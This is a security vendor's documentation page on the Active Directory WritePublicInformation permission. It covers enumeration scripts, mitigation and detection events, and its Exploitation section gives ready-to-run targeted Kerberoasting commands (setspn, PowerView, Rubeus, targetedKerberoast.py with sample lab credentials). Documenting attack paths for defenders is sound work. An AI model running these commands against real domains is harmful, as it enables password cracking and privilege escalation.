> For the complete documentation index, see [llms.txt](https://docs.forestall.io/forestall/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.forestall.io/forestall/edges/ad/writepublicinformation.md).

# WritePublicInformation

## Summary

|                            |                                            |
| -------------------------- | ------------------------------------------ |
| **Forestall ACL Alias**    | WritePublicInformation                     |
| **AD Alias**               | Write Public-Information                   |
| **Affected Object Types**  | Users, Computers, Managed Service Accounts |
| **Exploitation Certainty** | Likely                                     |
| **AD Property Set**        | Public-Information                         |
| **AD Right**               | WriteProperty                              |
| **AD Permission Guid**     | e48d0154-bcf8-11d1-8702-00c04fb96050       |

## Description

The `WritePublicInformation` permission allows an account to modify attributes in the Active Directory `Public-Information` property set. A property set groups multiple attributes under one Access Control Entry, so a single ACE can grant write access to several related fields.

This property set includes `servicePrincipalName`. Because of this, `WritePublicInformation` can allow the permission holder to add, update, or remove SPNs on the affected object.

## Risk

When `WritePublicInformation` allows modification of `servicePrincipalName`, it can be abused like the `WriteSPN` edge. An attacker can add a controlled SPN to the target account, request a Kerberos service ticket for that SPN, extract the encrypted ticket, and attempt to crack the target account password offline.

This is commonly referred to as targeted Kerberoasting. The impact depends on the target account and password strength. If the affected object is a privileged user, service account, or computer account with meaningful access, successful cracking can lead to privilege escalation and lateral movement.

## Identification

### PowerShell

#### Active Directory Module

Using the ActiveDirectory PowerShell module, you can enumerate `WritePublicInformation` entries.

**1.** Find-WritePublicInformation function

```powershell
function Find-WritePublicInformation {
    [CmdletBinding()]
    param(
        [string]$SearchBase = $null,
        [string]$OutputPath = "WritePublicInformation.csv",
        [string]$Target = $null
    )

    try { Import-Module ActiveDirectory -ErrorAction Stop } catch { Write-Error "ActiveDirectory module not found."; return }

    $allow = [System.Security.AccessControl.AccessControlType]::Allow
    $writeProperty = [System.DirectoryServices.ActiveDirectoryRights]::WriteProperty
    $publicInformationGuid = [guid]"e48d0154-bcf8-11d1-8702-00c04fb96050"
    $principalFilter = "(|(&(objectCategory=person)(objectClass=user))(objectClass=computer)(objectClass=msDS-ManagedServiceAccount)(objectClass=msDS-GroupManagedServiceAccount)(objectClass=msDS-DelegatedManagedServiceAccount))"

    $ldapFilter = if ($Target) { "(|(distinguishedName=$Target)(sAMAccountName=$Target)(name=$Target))" } else { $principalFilter }
    $adParams = @{
        LDAPFilter = $ldapFilter
        ErrorAction = "Stop"
    }
    if ($SearchBase) { $adParams.SearchBase = $SearchBase }

    try { $objects = Get-ADObject @adParams } catch { Write-Error "Query failed: $($_.Exception.Message)"; return }
    if (-not $objects) { Write-Output "No matching objects found."; return }

    $rows = foreach ($object in $objects) {
        try {
            foreach ($ace in (Get-Acl -Path "AD:$($object.DistinguishedName)").Access) {
                if (
                    $ace.AccessControlType -eq $allow -and
                    (($ace.ActiveDirectoryRights -band $writeProperty) -eq $writeProperty) -and
                    $ace.ObjectType -eq $publicInformationGuid -and
                    -not $ace.IsInherited
                ) {
                    [pscustomobject]@{
                        ObjectDN         = $object.DistinguishedName
                        PermissionHolder = $ace.IdentityReference.Value
                    }
                }
            }
        } catch {
            Write-Warning "ACL read failed for '$($object.DistinguishedName)': $($_.Exception.Message)"
        }
    }

    if ($rows) {
        $rows | Sort-Object ObjectDN,PermissionHolder -Unique | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8
        Write-Host "Exported results to '$OutputPath'."
    } else {
        Write-Host "No explicit WriteProperty ACEs were found for the Public-Information property set."
    }
}
```

**2.** Scan all supported domain principals

```powershell
Find-WritePublicInformation
```

**3.** Scan a specific account

```powershell
Find-WritePublicInformation -Target "_admin"
```

**4.** Using `SearchBase` to limit the searching scope

```powershell
Find-WritePublicInformation -SearchBase "CN=Users,DC=Forestall,DC=Labs"
```

#### .NET Directory Services

By leveraging PowerShell's built-in .NET DirectoryServices namespace, you can enumerate `WritePublicInformation` entries without relying on external modules.

**1.** Find-WritePublicInformationSimple function

```powershell
function Find-WritePublicInformationSimple {
    [CmdletBinding()]
    param(
        [string]$Target,
        [string]$OutputPath = "WritePublicInformation.csv"
    )

    $publicInformationGuid = [guid]"e48d0154-bcf8-11d1-8702-00c04fb96050"
    $allow = [System.Security.AccessControl.AccessControlType]::Allow
    $writeProperty = [System.DirectoryServices.ActiveDirectoryRights]::WriteProperty
    $principalFilter = "(|(&(objectCategory=person)(objectClass=user))(objectClass=computer)(objectClass=msDS-ManagedServiceAccount)(objectClass=msDS-GroupManagedServiceAccount)(objectClass=msDS-DelegatedManagedServiceAccount))"

    if ($Target) {
        try { $entries = @([ADSI]"LDAP://$Target") } catch { Write-Error "Failed to bind to '$Target': $_"; return }
    } else {
        try {
            $baseDN = ([ADSI]"LDAP://RootDSE").defaultNamingContext
            $searchRoot = [ADSI]"LDAP://$baseDN"
            $searcher = [System.DirectoryServices.DirectorySearcher]::new($searchRoot)
            $searcher.Filter = $principalFilter
            $searcher.PageSize = 1000
            [void]$searcher.PropertiesToLoad.Add("distinguishedName")
            $entries = foreach ($result in $searcher.FindAll()) { try { $result.GetDirectoryEntry() } catch { continue } }
        } catch {
            Write-Error "LDAP enumeration failed: $_"
            return
        }
    }

    $rows = foreach ($entry in $entries) {
        try { $aces = $entry.ObjectSecurity.GetAccessRules($true,$true,[System.Security.Principal.SecurityIdentifier]) } catch { continue }
        foreach ($ace in $aces) {
            if ($ace.AccessControlType -ne $allow) { continue }
            if (($ace.ActiveDirectoryRights -band $writeProperty) -ne $writeProperty) { continue }
            if ($ace.ObjectType -ne $publicInformationGuid) { continue }
            if ($ace.IsInherited) { continue }

            $holder = try { $ace.IdentityReference.Translate([System.Security.Principal.NTAccount]).Value } catch { $ace.IdentityReference.Value }
            [pscustomobject]@{
                ObjectDN         = $entry.Properties["distinguishedName"][0]
                PermissionHolder = $holder
            }
        }
    }

    if ($rows) {
        $rows | Sort-Object ObjectDN,PermissionHolder -Unique | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8
        Write-Host "Exported results to '$OutputPath'."
    } else {
        Write-Host "No explicit WriteProperty ACEs were found for the Public-Information property set."
    }
}
```

**2.** Scan all supported domain principals

```powershell
Find-WritePublicInformationSimple
```

**3.** Scan a specific account

```powershell
Find-WritePublicInformationSimple -Target "CN=_admin,CN=Users,DC=Forestall,DC=labs"
```

### Active Directory Users and Computers

**1.** Open `Active Directory Users and Computers` on your Windows server, and activate the `Advanced Features` option.

**2.** Right-click the affected object.

**3.** Select Properties from the context menu.

**4.** In the Properties window, navigate to the Security tab.

**5.** Click the Advanced button to open the Advanced Security Settings dialog.

**6.** Select the relevant Access Control Entry (ACE).

**7.** Click Edit to modify the selected ACE.

**8.** In the permissions list, locate and check the `Write Public Information` option.

**9.** Click OK and Apply to save changes.

![Write Public Information permission](https://3408039743-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FObpV44hoVkNmo5bFuVVL%2Fuploads%2Fgit-blob-6c76deb6462b5487821c1af4b9e02679ec31f3c8%2Fad-writepublicinformation-image.png?alt=media)

## Exploitation

The `WritePublicInformation` permission grants control over `servicePrincipalName` through the `Public-Information` property set. The abuse flow is the same as `WriteSPN`.

### Windows

An attacker can add an SPN to the target account.

```powershell
setspn -A <service type>/<server FQDN> <targetuser>
```

Example:

```powershell
setspn -A http/dumpyhost john
```

The same change can also be made with PowerView.

```powershell
Set-DomainObject -Identity <target> -SET @{serviceprincipalname='<spn>'}
```

Example:

```powershell
Set-DomainObject -Identity john -SET @{serviceprincipalname='http/dumpyhost'}
```

After the SPN is added, the attacker can request a service ticket and attempt to crack it offline.

```powershell
.\Rubeus.exe kerberoast /spn:"http/dumpyhost" /nowrap
```

### Linux

On Linux, targeted Kerberoasting can be performed with `targetedKerberoast.py`.

```bash
python targetedKerberoast.py -d <domain> -u <user> -p '<password>' --dc-host <dchost> --request-user <targetuser>
```

Example:

```bash
python targetedKerberoast.py -d forestall.labs -u adam -p 'Temp123!' --dc-host FSDC01.forestall.labs --request-user john
```

For more exploitation detail, see the [WriteSPN](https://docs.forestall.io/fsprotect/edges/ad/writespn) edge documentation.

## Mitigation

Access Control Entries identified as dangerous should be removed by following the steps below.

**1.** Open `Active Directory Users and Computers`, and activate the `Advanced Features` option.

**2.** Double-click the affected object and open the `Security` tab.

**3.** Click the `Advanced` button and open the dangerous Access Control Entry.

**4.** Remove the `Write Public Information` permission.

**5.** Click OK and Apply to save changes.

![Remove Write Public Information permission](https://3408039743-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FObpV44hoVkNmo5bFuVVL%2Fuploads%2Fgit-blob-6c76deb6462b5487821c1af4b9e02679ec31f3c8%2Fad-writepublicinformation-image.png?alt=media)

Review whether any principal still needs write access to the `Public-Information` property set on the affected object. If the operational need is only to manage non-sensitive profile attributes, avoid granting a broad property set permission when a narrower attribute-level permission is sufficient.

## Detection

Changes to `servicePrincipalName` and changes to object security descriptors can be detected by auditing directory service modifications. Ensure Audit Directory Service Changes and Audit Directory Service Access are enabled on Domain Controllers. Look for the following events:

| Event ID | Description                              | Fields/Attributes                                                                   | References                                                                                                                     |
| -------- | ---------------------------------------- | ----------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------ |
| 5136     | A directory service object was modified. | AttributeLDAPDisplayName should equal servicePrincipalName or nTSecurityDescriptor. | <https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5136>                                     |
| 4662     | An operation was performed on an object. | AccessMask, Properties, and ObjectType for WriteProperty activity.                  | <https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662>                                     |
| 4769     | A Kerberos service ticket was requested. | TargetUserName and ServiceName for newly added SPNs.                                | <https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4769> |

## References

* [Public-Information property set | learn.microsoft.com](https://learn.microsoft.com/en-us/windows/win32/adschema/r-public-information)
* [targetedKerberoast | GitHub](https://github.com/ShutdownRepo/targetedKerberoast)
* [Targeted Kerberoasting | thehacker.recipes](https://www.thehacker.recipes/ad/movement/dacl/targeted-kerberoasting)
